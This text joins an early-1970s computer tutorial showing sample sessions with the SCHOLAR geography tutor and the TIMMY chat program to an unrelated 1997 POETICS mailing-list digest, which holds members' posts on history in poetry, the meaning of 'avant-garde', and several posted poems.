<- scholar() _After (possibly) looking at instructions, start the SCHOLAR dialog._

HELLO, MY NAME IS SCHOLAR. I WILL HELP YOU IN REVIEWING THE GEOGRAPHY OF SOUTH AMERICA. THIS IS ABC REGIONAL HIGH SCHOOL. TODAY IS 24-OCT-72.

IF YOU HAVE CAREFULLY STUDIED YOUR INSTRUCTIONS, WE MAY BEGIN THE REVIEW NOW.

WHEN YOU ARE READY TO START, TYPE READY --- REMEMBER TO TERMINATE EACH
LINE OF INPUT WITH AN ASTERISK * FOLLOWED BY A CARRIAGE RETURN.
* read* [CR] _Asterisk("*") is SCHOLAR's prompt character. You must,
repeat MUST, terminate input to SCHOLAR with an asterisk
("*") and a carriage return before it will listen to you.
Use control-a ("^A") to delete characters from your input
line, i.e., the standard Tenex editing characters._
PLEASE TYPE YOUR NAME---MR., MISS, OR MRS. FOLLOWED BY FIRST NAME, MIDDLE
NAME OR MIDDLE INITIAL, AND LAST NAME.
* YOURNAME* [CR]
NAME OF YOUR INSTRUCTOR, PLEASE:
* warnock* [CR]
LET'S BEGIN OUR DISCUSSION NOW, "YOURNAME"
USE ONE OF THE FOLLOWING:
14400000
3600000
1200000
1800000
TO ANSWER THE QUESTION:
APPROX WHAT IS THE AREA OF BRAZIL?
* 14400000* [CR]
WRONG,
I'LL GIVE YOU ANOTHER CHANCE.
* 3600000* [CR]
VERY GOOD.
.....
_Continue your dialog as you wish. When tired, type control-c ("^C")
to return to EXEC on logout.
.....
^c

====

CONVERSATION ON UCLA SEX SYSTEM:

UCLA-NMC SIGMA-7 === HOST #1

5. To use the toy question answering program, TIMMY, type:
! TIMMY [CR]
002 TIMMY STARTED
MY NAME IS TIMMY THE TERMINAL, WHAT'S YOURS?
YOURNAME [CR]
PLEASED TO MEET YOU, YOURNAME HAVE WE MET BEFORE?
NO [CR]
SORRY, BUT I HAVE A TERRIBLE MEMORY FOR NAMES. ANYWAY, MY JOB IS TO ANSWER
YOUR QUESTIONS SO, ASK AWAY.
WHEN WILL THIS COMPUTER CRASH NEXT? [CR]
ABOUT 5 O'CLOCK.
..... _Ask any number of your own questions of TIMMY._
GOODBY [CR] _Exit from TIMMY._

==========

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116. David R. Israel
Re: History
Thu 7 Aug 1997

Pam Brown wrote:

> *Henry wrote:"In my own view "history" is just an essential basic quality of time & that poetry would reflect on it should be taken for granted. "*
>
> *In the film "Sans Soleil", Chris Marker remarked -*
> *"History throws its empty bottles out the window"*

to the question "what is history?" poets / poetry has (have) often answered, it is the story of losses -- our own loss, gradually, of everything. This is the immediate & personal level at which "history" is encountered by a subject in a body -- and isn't it often at that level (history as what's been lost -- & is, as aftermath, converted to memory) that "history" lives & works, in poetry? --

Quoth Omar Khayyam (per moi; a selection of half-dozen quatrains) --

The only thing the pretty stars achieves is pain
whatever gift the give they take away again

those beings queing up for birth -- if they should sniff
what happens here -- would swiftly pour it down the drain

Mr. Wiseman! rise & shine! the morning's here
see that youngster sifting dust? now look with care --
you could lend him sage advice: "hey, stir it gently
for both Plato's brain & Picasso's eyes are there"

If I assumed the cosmic helm
I'd scrap at once this bitter realm
installing another in its lieu
where grief could never overwhelm

I wouldn't have fetched up here
                if this required my okay
now if I had my druthers
                I most certainly would stay!
in such a bombed-out bungalow
                there's nothing could compare
with never having come or been
                or gone in any way

Our coming & our going brings what benefit?
life warp suggests a weft so where's the zen of it?
in the midst of worlds how many seekers burn
to ashes but what wisp of somoke comes then of it?

Those souls who plumbed the depths of thought
                & scaled feelings' height
in the circle of a Perfect One
                became like lamps alight
yet even these could not evade
                the shadow of demise:
they spun such brilliant fables always
                ending with "good night!"

/ / / / /

of course, Khayyam's native city of Khorasan saw the ravages of "history" of the sort lately noted by Judy Roitman (with a large part of its population slaughtered) -- but although "history" as it's been known in recent milennia might (per the unpleasantry) largely comprise the history of wars, yet such personal conclusions as might arise from this generality, are -- vis-a-vis poetry -- another matter; -- the history of imagination (no less than that of memory) having its own tale to tell betimes . . .

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g'morning
d.i.
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 .....
 ............
 \\\\
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d.i.
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 .....
 ............
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none of the poetry in the Norton, that I can see, IS visual poetry; similarly, some poets in the Norton, such as Ron Johnson, are or have been visual poets, but their visual poetry is not in the anthology.

Otherstream poetry isn't necessarily "new," just not widely accepted. Visual poetry, for example, has been around much longer than language poetry.

The opposite of otherstream poetry is NOT mainstream poetry, it's "knownstream poetry." All mainstream poetry is knownstream but not all knownstream poetry (e.g., rhymed sci fi poetry) is mainstream.

A second way of determining whether a given kind of poetry is otherstream or not would be by polling college English departments to find out the national percentage of English courses in which the poetry was seriously taught--or even so much as mentioned. Any poetry getting less than one percent would be otherstream.

Now to a different but related topic to ask why people are so frequently reluctant to define as "historical," poems that are explicitly and mainly about history (like "The Midnight Ride of Paul Revere"), and define as "ahistorical," poems that are entirely without overt historical references (like "The Red Wheelbarrow," which is about a red wheel barrow), and agree that many poems contain bits of history, which keep them from being ahistorical, but have a different central focus than history, which keeps them from being historical, and carry on from there. As taxonomaniacal as ever, Bob G.

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119. Susan Wheeler

Re: POETICS Digest - 5 Aug 1997 to 6 Aug 1997

Thu 7 Aug 1997

Re Maria's question: Might a perpetual reluctance to use "avant-garde" be an example of this policing? I ask sharing some in this reluctance. In high school, Connie Lorman showed us a Cocteau movie in which there was the line "To break statues you must become one," and then we all had to write papers on this. Just jawing here.

Re Hugh Steinberg's questions re writing "through" history and > history is the field in which language is embedded in <: I have been working on a novel of late. I am constructing a couple of voices that are leagues from my own, and the whole thing is set in 1979 & 1980. The exercise of excluding all language from these voices -- slang or otherwise -- that has evolved just since 1980 is finally viscerally making clear to me what the theory never fully did: the language itself is determining the course of natural events, to some extent. I've

spouted this for years but with fingers crossed behind my back. To see it enacted is eye-popping.

Re Alan's gifts to the list: Gifts indeed. And stellar ones. Many thanks.

Susan Wheeler
[redacted]
voice/fax [redacted]

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120. **Mark Prejsnar**
Re: "avantgarde"
Thu 7 Aug 1997

> *maria, I don't mean to monkeywrench your issue, but is it clear that the avant-garde is _more_ closed than other non-mainstream movements in contemporary poetics? It seems to me that policing is a component of any contested subfield within the larger field, and that such communities as "new formalist" and "performance" poetics each have their own forms of policing. What, in your view, are the distinguishing marks, if any, of*

Furthermore, both the posts on this issue take an identifiable a-g as a given....I dunno. I think among other things, "a-g" is a historical (and historically specific) construct that is now very old, and tends to pull all discussions back into institutionally-sanctioned and established channels. A good example is a review-essay I read in (I think) the London Review of Books, last Nov. or Dec. or something, by Fred Jameson, reviewing several books on the Tel Quel group..One point (which I've seen others make) was his insistence (he wasn't really conscious that he was insisting) that "all" "avant-gardes" are authoritarian and tend toward having a specific leader (sounds like a theory of fascism, actually); this is too silly to need refutation, if dada, langpo, Beats, and many others are taken into consideration. But this is the kind of thing you get in established academic (acadominent?) discourse about "avant-gardes"...And one of the reasons it's necessary to get very specific: which supposed "a-g" is one talking about?? Many of the the alleged a-g's that have been most vital to my own life and poetry, over the years, don't seem to have much to do with Jameson's frame of reference (no surprise, probably)..But over-generalizations abound in acadominent discussions of the term, and make me uneasy.

What I and most of my friends do in poetry is still called "a-g" by a large number of groups out there, but I'd hack off a foot rather than actively use that term about what we do...Its primary purpose these days is to keep poets hedged in and labelled so their work can be dismissed and not read...In light of that claim, it occurs to me that i'm reversing your original formulation, Maria, and

suggesting that often it is *others* who are policing the A-G borders, M-17 in hand, not the wannabe A-Gers...

Mark
Atlanta

↑ Index

121. Mark Prejsnar
*Re: "*alternative*avant-garde"*
Thu 7 Aug 1997

Bill Marsh's point is a good one: the old concept of "a-g" was indeed fairly (at least) apocalyptic. It had to do with overthrowing things pretty substantially. Don't forget that the term was originally a military one. The advance guard of a large attacking force. That gives you some sense of what (when it was meaningful) the term connoted...

My argument now is, the term was a contingent fact of history, thrown up from the roiling human sea. By now it's definitely sun-bleached and dessicated. What Bill's posting reminded me of was that we were all using "a-g" in a watered-down sense, as a designation of a place in a large contextual field. Which if you stop and think about it, is just the *wrong* spatial image for an "avant-garde," which is the advancing first wave of an army.

Our use of the watered-down term, is healthy, indicating that we're moving away from the old "avant-garde" concept altogether...Which I would advocate. (Along with axing "experimental" and similar ghetto-talk)

Mark P.
Atlanta

↑ Index

122. Christina Fairbank Chirot
*Re: "*alternative*avant-garde"*
Thu 7 Aug 1997

Whether one agrees with them or not two "standard" places to begin are Renato Pogglioli The Theory of the Avant-Garde (Cambridge: Belknap/Harvard 1968) and The Theory of the Avant-Garde by Peter Burger (Minneapolois: U Minnestoa P, 1984). The former has a lot of interesting historical background, the latter is more theoretical. I have been working for a while for fun on a kind of comic book/visual poetry series "Instant Classic vs. Planned Obsolence". (inspired in equal parts by Gertrude Stein's "Composition as explanation" essay with the famous outlaw to classic the interval is almost not there equation and Godzilla vs. Mothra, vs. megatron and etc). Perhaps a buried

subtext in there re avant garde? Once for fun with a friend we made imitation National Guard posters changing the words to Avant-Garde but keeping the address and phone number of a recruiting office on it. Visting the office a week or so later they said yes they had gotten some strange calls about joining. Re Gertrude Stein/history/avant-garde etc (she read a lot of memoirs and a favorite was that of President/General Ulysses S. Grant)--the first sentence of Stein's Geographical History of America is very interesting. She notes being born in the same month as Washington and Lincoln. That is: two Presidents and Stein are equated: the "father of His Country", the "Great Emancipator" and Gertrude Stein! Also: Washington "could not tell a lie" and Lincoln was "Honest Abe"--so we know Gertrude Stein as well must be giving us the truth--or the "true gen" in Mr. Hemingway's terminology! Gertrude Stein--was she noting the connection between the military and the avant-garde here? Washington and Lincoln had "led their country in times of war" so to speak--(U.S. Grant as well--) And much of "Compostion as Explanation" is about the interrelationships among the changes in art and the changes in life brought about by WWI--that those in art had seen those of the war just ahead of time--Picasso seeing a camouflaged tank with its Cubist looking markings and saying: "We made that". (See this in Autobiography of Alice. B. Toklas--also see Wars I have Known) Then there are the the Threes with Gertrude Stein: Three Lives, the three Geniuses of AABT--Whitehead, Picasso, Stein--and the three leaders--Washington, Lincoln, Stein. There are over two hundred seventy-five book title entries under "avant-garde" in library here. Yet as one knows from the X Files: "the truth is out there" --out there Luigi made good point re this--Mail Art and so on--guerilla and open ended-- ZA DA

dBC

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123. Maria Damon

Re: yasusada

Thu 7 Aug 1997

At 8:27 AM +0800 8/7/97, Schuchat Simon wrote:
>Are you pleased that the Asahi is publishing its Yasusada piece on
>Hiroshima day?

i've heard quite enough about yasusada. no offense intended, kent and others, but i don't see the point in devoting so much intellectual and emotional energy to someone who doesn't exist.

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124. **Maria Damon**
Re: "*alternative*avant-garde"
Thu 7 Aug 1997

thank you all, david k, bill m, david i, charles a, etc. i share many of your beliefs, such as, that vanguardism (my preferred term) is a process rather than a coterie or school. however, in my professional life, i've encountered enough instances where the boundaries are tightly defined to lead me to believe there is some anxiety about borders. for instance, i was recently asked for permission to reprint my bob kaufman essay in an anthology of essays on "the avant garde." i said okay, but in my opinion my essay on poetry by some teenage girls in a boston housing project was much more interesting, more adventurous, less man-and-his-work formulaic. the answer was: well i do "cultural studies" myself, but in this project i'm working with a fairly traditional understanding of the "avant garde," so i'll stick w/ the kaufman piece. for another instance, when i proposed a paper for the conference i mentioned, on "the poetics of avant garde poetry," there was some hesitatiion over acceptiing my paper because its definition of "avant garde" was too broad (won't it render the term meaningless to broaden it? was the question.) again, i was advised by colleagues on the organizing side of things to stress that i was working with a "cultural studies model," i guess to provide reassurance that there was some recognized method to my intentions. also, my introduction to this list and partcipation, while in some ways broadening (in that i've learned about poets i didn't know about before) has also been a narrowing, as the list is quite explicitly intended for discussion of newer poetries (i can't recall exactly the wording of the bernstein welcome). i don't mean to wax victimy or snide in these personal anecdotes, i hope you all realize how much i enjoy learning all this new stuff and getting to know y'all. these moments of feeling the barriers come up have been interesting because they foreground categorical, operative divisions that are sometimes disavowed at the more overt level. another line that gets drawn is that of aesthetic judgment, and the assumption that we all share certain judgments (hallmark card verse is embarrassingly bad, so is maya angelou's poetry; bpNichol is fabulous, etc --don't get me wrong, i love bpNichol and i don't buy hallmark cards but i do find angelou's poetry meaningful, esp when i see how deeply it touches my students). as i've said here before, aesthetic judgment has been the dividing line between me and some of the people i've worked with. in fact i tend to trust them cuz i don't trust myself, so i usually concede at the level of editorial revision, but at the metalevel i'm asking, why is it SO overridingly important that there be some kind of consensus of aesthetic judgment? or, why is this consensus the basis of our community or commonality?

At 6:39 PM -0600 8/5/97, Robert Drake wrote:
>bill's sense ov (or puzzlement over) the question matches mine,

>my idea of a.g. as (b)leeding edge of activity, rather than th
>consolidated camps just behind th front lines. but to carry the
>military analogy further, how does the advance guard actually work?
>in cadres & cels, with an intense group loyalty & distrust of the
>enemy all around... appropriate and adaptive during th heavy
>fighting, but disfunctional afterwords.
>
>and praps that points to the problem--the term "avant garde" gets
>attached to certain activity, and then stays stuck long after it's
>accurate. certain aspects of langpo might have been a.g., or free
>jazz... but are they still? well, for some folks probably so--if
>bebop is as far as your ears have gotten, than albert ayler is a.g....
>sometimes, too, the a.g. designer label is claimed by folks as a
>marketing tool, especially in a popular culture such as ours,
>that values The New as latest/greatest. & that too can lead to
>the dynamics that maria's pointing to--seige mentality, whether
>or no it's "justified"...
>
>(btw, i'm casting no aspersions & making no claims for what poetics
>are "legitimatly" a.g., whatever that might mean, & hope no one else will...
>that's one slippery slope we've been down several times too often...)
>
>and finally, in maria's initial posting, she referes to "_the_ avant
>garde" (emphasis added), and i'm wondering if you'll be more specific, md?
>because i don't see a.g. activity, even in areas poetical, as being
>singular but rather diverse... hard for me to imagine a guerrilla
>war against the Established Culture launching a frontal offensive,
>there are lots ov little forays goin on... some (i'll mention Mail
>Art, fr one) strike me as very unprotective & open. what specific
>a.g.s are you thinking ov?
>
>asever
>luigi
>
>william marsh wrote:
>>
>>there's been a lot of talk about this issue of late (here and elsewhere),
>>and i'm wondering if anyone else feels the same confusion about it / the
>>spatial analogy here, that the a-g is a particular zone or area of activity
>>and therefore identifiable by its borders (and its potential policing of
>>borders) is the main source of my confusion / when did the "avant garde"
>>come to represent a group or subgroup or "subfield in a larger field" as

>>David Kellogg puts? -- the classificatory scheme strikes me as fundamentally
>>at odds with what the a-g has always represented to me, namely a kind of
>>momentum that infuses artistic activities and (sometimes) instigates change
>>/ if current notions of an avant-garde stipulate that it exists as a group
>>among groups (and i agree with Charles Alexander that it is not a "unified
>>thing"), then clearly there must be an *alternative* avant-garde which
>>escapes such classification -- which makes it even more confusing / if the
>>a-g is the *leading edge* of activity, then how can an edge have a "border"?
>>not to mention a police force monitoring transgressions / i can't imagine
>>(literally can't see) the avant-garde in such a context... / wouldn't any
>>definition of the a-g as a group be a misappropriation of the term?
>>
>>bill marsh
>
>in reply to maria damian:
>
>>>okay all you sweet yukyuks out there, i've got a question: why does "the
>>>avant garde" seem to need to police its borders so rigidly? how does some
>>>thing get defined or not as "avant garde?" i'm spozed to give a talk in
>>>November and i want to challenge what i see as some of the closedness of
>>>the avant garde tradition or at least the way it's construed by most of its
>>>critics.--md

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125. Joe Safdie
Re: lunch at the public: is it possible?
Thu 7 Aug 1997

Judy Roitman wrote:
>

> Whoa there. The continuous present --- the real one, not the fake one of
> tv ads and video games --- is a pretty damn good antidote to any inequitous
> system, and the level of the sentence is a good innoculator against the
> bullshit causality that proudly brings you Northern Ireland,the Balkans
> (Bosnia not being the only manifestation of that particular tangle), the
> Middle East, Rwanda and Burundi, Afghanistan, the Khmer Rouge, etc. etc.
>
I find this reply astonishing.

David Israel's thoughts about the history of the imagination being equally as important as the history of wars, power, etc. (and about Eliade's mythic time as opposed to secular time) are one thing. I don't agree with them either, but I

understand that poets have and will continue to explore these realms, and I think I also understand a little about David's whimsy and style in general. I don't think there's anything particularly "timeless" about either of these pursuits, David, but that's another story, one, if you wish, we could pursue back-channel. As Gibbon said, "To the people all religions were equally true; to the philosophers all religions were equally false; and to the state, all religions were equally useful."

But to say, as Judy Roitman does above, that the level of the sentence is a good "innoculator" (sic) against "the bullshit causality that proudly brings us Northern Ireland, Bosnia" et al is stunningly wrong-headed, it seems to me. For one thing, is it even possible to inoculate ourselves against such phenomena? Why would we wish to? Are we really immune from such "stuff," here in the glorious non-Balkans? Has it become impossible to learn from history? (She does have enough of a knowledge, apparently, to state that Bosnia is not the only element of "The Balkan problem," as it's been known for centuries; how did she obtain that knowledge?) In fact, how does her attitude differ from my beginning composition students who say they don't watch the news because it's too depressing?

I agree with those who have said that the level of generality at which these disputes are conducted is excessive. Perhaps we could look at specific poems.

I also agree with Henry Trismegistus, who said a few posts back that there's validity in both arguments, pro-history (ignorance of it leads to stupidity) and anti-history (it just goes on and on). May the gods protect us all from totalizing anything. But even if "history" IS a nightmare from which we're all trying to awaken, as the mythic Stephen said, don't we have to first realize that we're asleep?

And yes, Jordan -- some poetry IS "less than".

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126. Alan J Sondheim
<login>
Thu 7 Aug 1997

--+-

<login>
<logout>
<login>
<logout>
<login>

Jennifer and Julu are talking. Jennifer pauses, says, I'm jealous.
Julu says, of what, nothing's happening around here anyway.
J says it doesn't matter, it's what's going on underneath.
J says it feels like she's been abandoned.
J says, we've got each other.
J says, not if he's not there, we're dead, nothing left of us.
J says, there's nothing left of us anyway.
J says, love's got him by the balls, cause he's male.
J says, love's got us by the protocols, cause we're mail.
J says, don't screw around, we don't get this often to talk.
She says, what are we gonna do.
J says, we could mess it up, but we haven't got a thing to worry about on that account, he's gonna mess it up anyway.
She says, he can't help it, he's too insecure, too needy, too fucked up.
J says, if he wasn't fucked up, he couldn't write, but yeah, I wouldn't want to be in his shoes.
She says, he'll be back, I'm sure he'll be back.
J says, at least he got to feel something, cut us loose for a bit now.
J says, yeah, he's feeling like hell, all these things he's buried for years, they're gonna swamp him.
J says, what are we gonna do, just want to say I love you, Julu.
J says, I love you too, Jenn, hang in there, this can't last forever, he can't last like this, nothing can.
But J says, this is too depressing, we're gonna have to be silent again.
J cries a bit, J is teary-eyed.
They wander.

<login>
<login>

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127. Tom Orange
"*avantgarde*"
Fri 8 Aug 1997

david i,

re: yr questions abt the history of the term/concept, matei calinescu has a useful take on this in his book "faces of modernity" (or perhaps "five faces of modernity," it was published first under one title and again under the other, duke up 1991 i think). if i had the blasted thing here i would save you the trouble and type out / summarize the relevant points.

tom

↑ Index

128. Tom Orange
hendecasyllabics' metaphorics
Fri 8 Aug 1997

---

on a different note (altho the poem below cd be seen as 1870s avant-garde now tres derriere...)

for those like me in late-summer doldrums wondering where the time flew, perhaps a metaphor or two to tease out:

> In the month of the long decline of roses
> I, beholding the summer dead before me,
> Set my face to the sea and journeyed silent,
> Gazing eagerly where above the sea-mark
> Flame as fierce as the fervid eyes of lions
> Half divided the eyelids of the sunset;...
> [swinburne, "hendecasyllabics"]

now we have flame above the sea-mark: presumably we are already to think sun and/or sunset. said flame's fierceness, fiercety?, likened to fervid lioneyes. now for the kicker: flame half divides eyelids. hold on to that for the moment, let's tend to these eyelids first. eyelids of the sunset: possesive or partitive genitive, the sunset /has/ eyelids or /is/ eyelids? if the sun is the eye (as it has already been associated with fervid lioneyes), then eyelids can be sky and earth, upper and lower limits of vision, extinguishing the sun in the slow blink of its setting, its setting under, its untergehen.

yet flame half divides
eyelids, divides them in
half, keeps them open.
even when closed they
are still divided,

by the horizon, or:
half divides as in
divides only partly,
not completely, half
divided half joined.

even tho i gaze
eagerly above
the sea-mark
the flame is so

fierce, as sky
and earth close
on the sun, i

have to squint,
join my eyelids
together, close
them enough so

that they are
still open.
to the horizon.

↑ Index

129. **Layne Russell**
Re: "avantgarde"
Fri 8 Aug 1997

Pete, I've wondered about the lack of posting of poems too. I've put up a couple very short ones ... received some feedback backchannel ... but still wonder about it. I would love to see more poetry interspersed with all the commentary and historical crit of lit.

Thanks for raising the question up front on the list.

Your comments on "avantgarde" are great.

> Thanks,
> Layne

↑ Index

130. **Layne Russell**
Re: for Pete Landers
Fri 8 Aug 1997

Enjoyed your Tricky Dick poem. Thanks for posting this.

Layne

↑ Index

131. **Layne Russell**
Re: how about poems?
Fri 8 Aug 1997

Pete mused:

> *p.s. Sometimes the list sounds more like a bunch of critics than poets.*
> *How about some poems? Is Alan the only poet?*

I'm sure he's not -- why the lack? dunno. I've wondered too, but since I was the new kid in town, thought I would wait and watch a while. I also would love to see more poems in here....

Layne

----------***

a soddette's soddet

soddened by the soddest moment of my life
I saddled up to the side of a siddha
and sighed.
he softened his sudden sight
and slid his sodder into my sled.
oh super siddha
I sapped
thank you for slathering my slodden slip
into slothdom and
sifting the sod of my sadness,
lifting me silkenly into satori.
no more sodden sags for me.
I'll sing the song of a sari'd soddette,
a saga of the saved.

(c) 1997 llrussell

↑ Index

132. Robert Archambeau
*Re: "*alternative*avant-garde"*
Fri 8 Aug 1997

Interesting to see all the different assumptions we have about what we talk about when we talk about the "avant-garde". I've always been a bit edgy about the term because it has seemed to me to have exactly the kind of "before your time" connotation that, as Chris Alexander pointed out, doesn't really make any sense. The image always seemed to me to be of the advance guard, treading today where the mere herd will tread tomorrow (okay, that's spatial and chronological, but you know what I mean, there's some leftover idea of progress buried in the term).

I've been more comfortable with "alternative poetries" since A) this allows for a multiplicity of alternatives, rather than a united-in-purpose band of commandos, and B) this admits that all that other, "conventional" stuff ain't about to go away

-- the new formalists won't be writing langpo in 2005. Not that this is unproblematic, but it makes me less uneasy that does a-g.

As for who does the police and in what voices, I don't know. But while controversy and infighting don't always help in the world of grass root politics -- you know the scene: the Neo-Trotskyites streetfight with the Refounded Anarcho-Syndicalists while the ghost of Margaret Thatcher seizes power -- they aren't neccessarily bad for poetics. In fact, we can, in playing the cop or the robber, come to understand what it is that we need to do in writing, and where we feel we ought to be going.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

See: behind bullet-proof glass, the ruby slippers sparkle.
We do not know the limits of their powers.
We suspect that these limits may not exist.
--Salman Rushdie

↑ Index

133. Daniel Bouchard
for Pete Landers
Fri 8 Aug 1997

A tribute to Tricky Dick, under whose reign I was born.

[redacted]

CRITICAL ONE

Whitman's fury is pent

whereas Whittier
whose outcropping love of heroism and war,
for all his Quakerdom, his verses
at times like the measur'd step
of Cromwell's old veterans

while a California town from which
came a would be capable Cromwell
who fitfully fought Commies
even where they were not

As I wend toward the winter
    I know not

↑ Index

134. charssmith
Fwd: Clifford Burke talk at The S. F. Center for the Book
Fri 8 Aug 1997

Forwarded message:
From: [redacted] (sfcb)
collecting)
collecting)
To: [redacted]
Date: 97-08-08 03:10:24 EDT

CRANIUM PRESS
Friday, August 8, 7 pm
7 PM
FREE TO THE PUBLIC

San Francisco Center for the Book
300 de Haro at 16th
more info: [redacted] or [redacted]

Clifford Burke, author of the classics "Printing It" and" Printing Poetry" will discuss his career. One of the finest, and arguably the most influential, Bay Area printers of the '60s & '70s, Burke ran Cranium Press from a garage in the outer Fillmore. Since the mid'70s he has been living in Washington state & and Southwest. We're thrilled to have him revisit the scene! Get here early for a good seat.

↑ Index

135. The Ultimate Autodidact
Re: "avantgarde"
Fri 8 Aug 1997

That word, avant-garde, was first used by musicians in the 13th c. Some consider Machaut among them, but in fact he is a progenitor.

Don't we all agree that it's a useless word? Some people form groups and some groups are formed to take advantage of readers wanting people to form groups, but we're each alone. Some groups have names, but there is no group named avant-garde, except those 13th c. composers.

I like what Rothenberg or Joris put in the intro to the new huge anthology. A list of characteristics of the poems and poets, with the note that none had all and some had none, or some such. But I recall they do use that word.

A sad thing about groups is: whose names fall off the list? For instance, in the intro to the S&M Rakosi book, Neidecker is not mentioned as an Objectivist.

Why group up at all? I know that I like to read groups. I lump up the bunch Uncle Ezra was hanging with and read them. I know they are working in relation to each other. It seems to make understanding them easier. I do it again with Objectivists, I dismiss the Beats as a group, I lump and read Black Mountain writers, etc. I do the same with music, like the 3rd Viennese School or the Impressionists. I really don't understand why I do it, except that it is convenient.

People who are seen as being in a group tend to rebel against the label. They want to be taken on their own merits. Understandably. I really do take them on their own merits, even if I read them as part of a group, except, of course, when I dismiss the entire group.

In any case, there is no group, or clique, called avant-garde. There is no working definition of the word. It is used more by those who dismiss new writing (new forms?) than by those who write in a new way.

Pete

p.s. Sometimes the list sounds more like a bunch of critics than poets. How about some poems? Is Alan the only poet?

↑ Index

136. The Ultimate Autodidact

Analogue

Fri 8 Aug 1997

---

first appeared in ADZ mag sometime in the mid 80's. See if you can find
the dedication which I tuck inside the poem :-)

```
=================================================
=======================
                =ANALOGUE=
      *
I shall never forget the thrill I experienced when I succeeded
in condensing Heisenberg's ideas on quantum conditions in the
mysterious equation:
     h
pq-qp=___
```

2¼i
which is the center of wave mechanics and was later found to
imply the uncertainty relation.
[Max Born, Physics and Metaphysics, Joule Memorial Lecture, 1950]
*
(c.f. also Kepler, "Omnis locatio mentis est opus.")
.
*
My mother was active
in Cursillo
(a catholic renewal movement)
my father was lay director;
this little course, post-Vatican II retreat
was absolutely evaluated (by me) as pointless,
leading to arguments, silences, leading
to following tiffs, concessions; pointless?
No. Yes. No. Ligatures: family ties, retied;
religion is what they knew; the fell cultures,
fallen cultures, the med student's sabotage.
.
Please put what was known with what is known.
Absolutely!
The absolute square
of the amplitude;
there!
Point the point! Point the wave the point
the particle the probably the wave the probabilities
the particleness guess
Yes!
*
Cursillistas, the little course takers,
the roosters the cluckhens & babechicks,
came to the wake. Process-ion the function,
the first derivative, velocity, second
acceleration, variable, bunched like a snake
at corners, brakes lighting in cause & effect.
I knew few.
*
To the ocean,
my prayer;
sing me a mother woe
undulating in pulse,

in waves
(middle high german: wabern; to be in motion
((webern; woven (((in motion))).)).).
wave: set of probabilities.
You just corpus
and I'll undo you late,
my love; love known.
*
Known? No one knows
but your hardresser,
who knows nothing about the Nuremburg Trials.
Did you hear? As Florestan in the 2nd act of Fidelio,
"Nothing lives but me"
And Richard the 2nd,
"For because the world is populous,
"And here is not a creature but myself..."
.
Nothing at all?
Not even the rats?
They've all been painted white and
put in laboratory cages,
and the cockroaches
were all lined up
and hitched to toothpick
rickshaws
.
Not even the mold.
Cat boxed, cyanide, halflife decay,
a paradox box. The great experiment.
The cat, rat, chimp mere chemical;
pain mere effect; laws prohibit this with people,
but the slave is an animal, a monkey,
the jew is an insect, vermin,
wart, dog, worm, disease,
science can heal
(science personified
consubstantial with the father.)
Accept no gifts from the gods.
Who said that? Who are they? They, anyway.
*
New and improved.
Rendering everything obsolete,

especially judgement;
the bunker is taken, the canon overthrown.
Your arms, your wrists,
have all but lost connective tissue,
unwoven, spin decaying, almost
leaving orbit,
we rib each other in physic-
al sense that
we sense that loving can come
back into its faces without conclusion to
us belongeth confusion, non-existential matters
even as you are not with me in processing
to the unposessed whole
where they'll bury my mother's matter.
*
Heisenberg & Bohr took a stroll.
The matrician writes,
"Bohr's remark reminded me
atoms don't exist."
The prison is a closed universe,
it faces its back infused,
the penalty for life is death; escape,
if you've behaved yourself,
from the Wheel of 84.

.

Those unknown people at mom's wake
convinced me of mortality.
And for some reason
the bircalls
[for Don Byrd]
(tees-tessi-teesi)
in LeSacre
(zray-zray-zray-zree)
made sense
(teacher, teacher, teacher, teacher).
O Mother! Mother! sings Siegfried
(you must drink the blood of the dragon
to understand the language of birds)
brought to Brunhilde by
"a little bird told me"
which turned out to be his fear;
the undefined, unspecified, unimaginable

which he sought to know.
*
1935, Einstein, Podalsky, & Rosen
posit the paradox
that objective reality exists _a priori_
the principle of uncertainty.
But they couldn't define "reality"
in fact refused,
Physics' limit is the establishment of properties
In effect, "not my job."
A priori! Kant says
    (O come, o come Emanuel!)
 a priori knowledge
is synthetical;
establishing properties is mere analytic
Schrodinger warned against
application of the ideas in quantum mechanics
to the crude macroscopic
.
If you determine the position of Bohr
  and the momentum of Heisenberg
       they change their course;
You can only guess the stroll as wave:
the uncertainty
of principle.
Manhattan, Bikini Atol, Japan,
islands: my name is no man...
Dr. Porsche is fascinated.
The Fuhrer recites his parts list,
fact, fact, fact, fact,
but not one spare part was sent into Russia;
the tanks had to be canabalized for
the integrity of the family.
An architecture epitomizing
the spirit (?) of the new land in the old;
neo-classic.
The second Vienese school of music
banned;
Wozzeck cancelled:
.
*
"Du dein mutter ist tod!"

your mother, your matter, mater, matris.
Must've been something to see,
the slow centuries of hauling goblins to the attic,
werewolves, gargoyles, fatted calves.
Substitutions,
Extensive & Stipulative
Definition:
goblins collect dust while _ubermenschen_ are polished;
for underworld & seventh heaven read Nature,
or this,
which should keep 'em talking for centuries:
Einstein says if you go far enough along one
straight line you will
find yourself facing your back;
an integral with yourself as limits.
.
Rectus Inversus:
    Mayan glyphs a polical statement,
they read, "Jobs and food for the underprivileged
provided by private sector,
pleasure by corporal vanities,
revolt by general discontent."
For the integrity of family Jesus has said,
I've come to set
father against son
mother against...
.
*
My sister read mom's favorite psalm (which one?),
   morning doves cooing outside,
    "Du dein mutter ist tod!"
Bohr's rebuttal to Einstein's paradox:
he has merely explicated
the limits of reason.
Is matrix mechanics a game of darts?
Zeno says,
"Since the dart occupies its own space
even in flight,
it cannot be said to move."
.
Bullseye!
.

I say the eye cannot disprove redness
in the pre-coital clitoris
without first it has
affirmed itself.
.
    All's you can do is guess
    the stroll as wave,
and the woods become fields
where the wave exhibits its properties;
the woods become fields
as the pioneers establish properties,
move to a new house, city;
establish the doctrine
of nomad quarks:
.
    Motion; to move; experienced by commotion.
    Mobility; the potential to act; against entropy.
.
I come to you naked
wonder what you think of
my skinny bod,
erect prick, engorged
with the blood
of the dragon.
    Action; the negation of noun
breast pink where round is soft memory
flesh in the hand the subtle mammary gland
fresh and the thisness of instant Aeneas
Dido I woo you move over...
    Mater is motion's effect; the conglomeration of sense.
.
*
.
Fact, fact, fact, fact,
The number system is valid
when you use circular reasoning:
point the point which contains
no other point. Is that the point
I'm trying to make (latin: factus)
or
am I asking for the anatomy of quarks?
    Quarks consist of infinite clones of Demokritus

thinking the matter of mother
(or is it the mother of matter?)
The thought is a tailchasing bitch
facing its back on a straight line
in the closed universe
of our mystical rationalist.
.
